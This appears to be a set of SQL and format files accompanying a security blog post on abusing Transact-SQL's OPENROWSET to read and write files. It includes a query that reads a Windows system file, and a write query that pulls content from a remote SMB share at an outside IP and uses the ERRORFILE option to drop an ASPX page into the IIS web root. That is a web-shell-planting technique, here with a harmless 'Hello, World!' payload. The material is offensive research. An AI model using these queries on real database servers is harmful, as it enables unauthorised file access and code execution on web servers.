Reading/Writing files with Transact-SQL's OPENROWSET (http://codewhitesec.blogspot.de/2015/06/reading-and-writing-files-with-mssql-openrowset.html)

administer-bulk-operations-permissions.sql

SELECT HAS_PERMS_BY_NAME(null, null, 'ADMINISTER BULK OPERATIONS')

input.fmt

9.0
1
1	SQLCHAR	0	1	">"	1	BulkColumn	""

input.txt

<%="Hello, World!"%>

input.xml

<?xml version="1.0"?>
<BCPFORMAT xmlns="http://schemas.microsoft.com/sqlserver/2004/bulkload/format" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<RECORD>
		<FIELD ID="1" xsi:type="CharFixed" LENGTH="1234567890"/>
	</RECORD>
	<ROW>
		<COLUMN SOURCE="1" NAME="BulkColumn" xsi:type="SQLVARYBIN" LENGTH="1234567890"/>
	</ROW>
</BCPFORMAT>

readfile.sql

SELECT BulkColumn
FROM OPENROWSET(
	BULK 'C:\Windows\win.ini',
	SINGLE_CLOB
) t

writefile.sql

SELECT BulkColumn
FROM OPENROWSET(
	BULK '\\192.168.13.37\share\input.txt',
	FORMATFILE='\\192.168.13.37\share\input.fmt',
	CODEPAGE='RAW',
	ERRORFILE='C:\Inetpub\wwwroot\hello.aspx'
) t